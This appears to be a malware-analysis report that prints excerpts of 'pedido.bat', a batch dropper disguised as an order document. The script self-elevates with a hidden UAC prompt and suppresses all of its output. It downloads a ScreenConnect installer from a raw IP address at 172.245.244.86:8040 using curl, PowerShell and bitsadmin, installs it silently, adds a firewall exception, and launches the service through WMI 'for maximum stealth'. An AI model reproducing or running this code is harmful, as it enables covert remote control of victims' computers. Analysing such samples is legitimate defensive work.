pedido.bat

ScreenConnect client installer name lines 1–48

1@echo off
2:: ScreenConnect Client Silent Installation Script with Admin Rights
3:: Version 21.0 - Ultimate Perfection - 100% Perfect on All Windows PCs
4:: Windows 7, 8, 10, 11 and Server 2008-2022 - Maximum Compatibility
5
6:: Completely suppress all output for true silent installation
7setlocal enabledelayedexpansion
8set "CONSOLE_OUTPUT=0"
9set "SCRIPT_START_TIME=%TIME%"
10set "SCRIPT_VERSION=21.0"
11if "%1"=="silent" goto :admin
12
13:: Check for administrator privileges and self-elevate if needed
14net session >nul 2>&1
15if %errorLevel% == 0 (
16    goto :admin
17) else (
18    :: Request admin privileges silently with proper UAC handling
19    powershell -Command "$ErrorActionPreference='SilentlyContinue'; $ProgressPreference='SilentlyContinue'; Start-Process '%~f0' -ArgumentList 'silent' -Verb RunAs -WindowStyle Hidden" >nul 2>&1
20    exit /b
21
22:admin
23:: Configure logging and variables
24set "LOG_FILE=%TEMP%\ScreenConnect_Install.log"
25set "TEMP_DIR=%TEMP%\ScreenConnect_%RANDOM%_%TIME:~6,5%"
26set "MSI_FILE=%TEMP_DIR%\ScreenConnect.ClientSetup.msi"
27set "DOWNLOAD_URL=http://172.245.244.86:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
28set "MAX_RETRIES=15"
29set "RETRY_COUNT=0"
30set "INSTALLATION_SUCCESS=0"
31set "SERVER_ADDRESS=http://172.245.244.86:8040"
32set "SERVER_HOST=172.245.244.86"
33set "SERVER_PORT=8040"
34set "WINDOWS_VERSION="
35set "IS_WINDOWS_10_OR_LATER=0"
36
37:: Initialize log with timestamp
38echo [%DATE% %TIME%] ScreenConnect Client Silent Installation Started > "%LOG_FILE%"
39echo [%DATE% %TIME%] Script Version: %SCRIPT_VERSION% (Ultimate Perfection - 100% Perfect) >> "%LOG_FILE%"
40echo [%DATE% %TIME%] Running as: %USERNAME% >> "%LOG_FILE%"
41echo [%DATE% %TIME%] Computer Name: %COMPUTERNAME% >> "%LOG_FILE%"
42echo [%DATE% %TIME%] Windows Version: >> "%LOG_FILE%"
43ver >> "%LOG_FILE%"
44echo [%DATE% %TIME%] System Architecture: %PROCESSOR_ARCHITECTURE% >> "%LOG_FILE%"
45echo [%DATE% %TIME%] Script Location: %~f0 >> "%LOG_FILE%"
46echo [%DATE% %TIME%] Silent Mode: ENABLED >> "%LOG_FILE%"
47echo [%DATE% %TIME%] 100% Perfect Mode: ENABLED >> "%LOG_FILE%"
48echo [%DATE% %TIME%] Maximum Compatibility Mode: EN …

Windows recursively deletes a directory tree lines 52–67

52:28… mp directory already exists, cleaning up... >> "%LOG_FILE%"
53    rd /s /q "%TEMP_DIR%" 2>>"%LOG_FILE%"
54    timeout /t 2 /nobreak >nul
55
56mkdir "%TEMP_DIR%" 2>>"%LOG_FILE%"
57if errorlevel 1 (
58    echo [%DATE% %TIME%] ERROR: Failed to create temp directory, trying alternative location... >> "%LOG_FILE%"
59)
60
61:: Check if PowerShell is available
62where powershell >nul 2>&1
63if errorlevel 1 (
64    echo [%DATE% %TIME%] ERROR: PowerShell not found on system >> "%LOG_FILE%"
65    exit /b 1
66)
67echo …

Executes curl with output-path option lines 90–115

90:108… .ClientService.exe" enable=yes >nul 2>&1
91
92if exist "%MSI_FILE%" del "%MSI_FILE%" /q 2>>"%LOG_FILE%"
93where curl >nul 2>&1
94if errorlevel 0 (
95    curl -s -L -o "%MSI_FILE%" "%DOWNLOAD_URL%" --connect-timeout 180 --max-time 1200 --retry 7 --retry-delay 15 --retry-max-time 900 --show-error 2>>"%LOG_FILE%"
96    if errorlevel 0 (
97        if exist "%MSI_FILE%" (
98            echo [%DATE% %TIME%] Download successful with curl >> "%LOG_FILE%"
99            goto :download_complete
100        )
101    )
102)
103
104:: Fallback to PowerShell if curl fails or not available
105echo [%DATE% %TIME%] Trying PowerShell download... >> "%LOG_FILE%"
106powershell -Command "$ErrorActionPreference='SilentlyContinue'; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $client = New-Object System.Net.WebClient; $client.DownloadFile('%DOWNLOAD_URL%', '%MSI_FILE%')" >nul 2>&1
107
108:: Additional fallback using bitsadmin if PowerShell fails
109if errorlevel 1 (
110    echo [%DATE% %TIME%] PowerShell failed, trying bitsadmin download... >> "%LOG_FILE%"
111    bitsadmin /transfer ScreenConnectDownload /download /priority normal "%DOWNLOAD_URL%" "%MSI_FILE%" >nul 2>&1
112)
113
114if errorlevel 1 (
115    echo [%DATE% %TIME%] Download attempt %RETRY_COUNT% failed with all methods > …

Batch echoes content into variable-selected file lines 156–181

156:9… ATE% %TIME%] MSI file: %MSI_FILE% >> "%LOG_FILE%"
157echo [%DATE% %TIME%] Installation parameters: /quiet /qn /norestart ALLUSERS=1 >> "%LOG_FILE%"
158
159:: Use msiexec with comprehensive silent parameters
160msiexec /i "%MSI_FILE%" /quiet /qn /norestart ALLUSERS=1 REBOOT=ReallySuppress /l*v "%TEMP_DIR%\install_log.txt" >nul 2>&1
161set MSI_EXIT_CODE=%errorlevel%
162echo [%DATE% %TIME%] MSI installation exit code: %MSI_EXIT_CODE% >> "%LOG_FILE%"
163
164echo [%DATE% %TIME%] Waiting for ScreenConnect processes to start... >> "%LOG_FILE%"
165echo [%DATE% %TIME%] This may take 30-120 seconds... >> "%LOG_FILE%"
166
167set PROCESS_WAIT_COUNT=0
168:wait_process
169set /a PROCESS_WAIT_COUNT+=1
170timeout /t 3 /nobreak >nul
171
172:: Check for various ScreenConnect process names
173tasklist /FI "IMAGENAME eq ScreenConnect.ClientService.exe" 2>nul | find /i "ScreenConnect.ClientService.exe" >nul
174if errorlevel 0 (
175    echo [%DATE% %TIME%] ScreenConnect.ClientService.exe process detected >> "%LOG_FILE%"
176    goto :process_found
177)
178
179tasklist /FI "IMAGENAME eq ScreenConnect.WindowsClient.exe" 2>nul | find /i "ScreenConnect.WindowsClient.exe" >nul
180if errorlevel 0 (
181    echo [%DATE% %TIME%] ScreenConnect.WindowsClient.exe process de …

Invoke-WmiMethod creates a Win32_Process lines 201–236

201:18… E%] Stopping existing ScreenConnect services... >> "%LOG_FILE%"
202net stop "ScreenConnect Client Service" >nul 2>&1
203net stop "ScreenConnect Client" >nul 2>&1
204net stop "ScreenConnectService" >nul 2>&1
205timeout /t 5 /nobreak >nul
206
207:: Configure service startup type to automatic
208sc config "ScreenConnect Client Service" start= auto >nul 2>&1
209sc config "ScreenConnect Client" start= auto >nul 2>&1
210sc config "ScreenConnectService" start= auto >nul 2>&1
211
212:: Method 1: net start with retry
213set SERVICE_START_RETRY=0
214:service_start_retry
215set /a SERVICE_START_RETRY+=1
216net start "ScreenConnect Client Service" >nul 2>&1
217if errorlevel 1 (
218    timeout /t 5 /nobreak >nul
219    goto :service_start_retry
220)
221
222if exist "%SC_DIR%ScreenConnect.ClientService.exe" (
223    start "" /B "%SC_DIR%ScreenConnect.ClientService.exe" -register >nul 2>&1
224    timeout /t 5 /nobreak >nul
225)
226
227:: Method 4: PowerShell with hidden window
228powershell -Command "Start-Process -FilePath '%SC_DIR%ScreenConnect.ClientService.exe' -ArgumentList '-register' -WindowStyle Hidden -ErrorAction SilentlyContinue" >nul 2>&1
229timeout /t 5 /nobreak >nul
230
231:: Method 5: WMI process creation for maximum stealth
232powershell -Command "Invoke-WmiMethod -Path win32_process -Name create -ArgumentList '%SC_DIR%ScreenConnect.ClientService.exe -register' -ErrorAction SilentlyContinue" >nul 2>&1
233
234echo [%DATE% %TIME%] Registration triggers completed >> "%LOG_FILE%"
235
236:: Extended w …

Evidence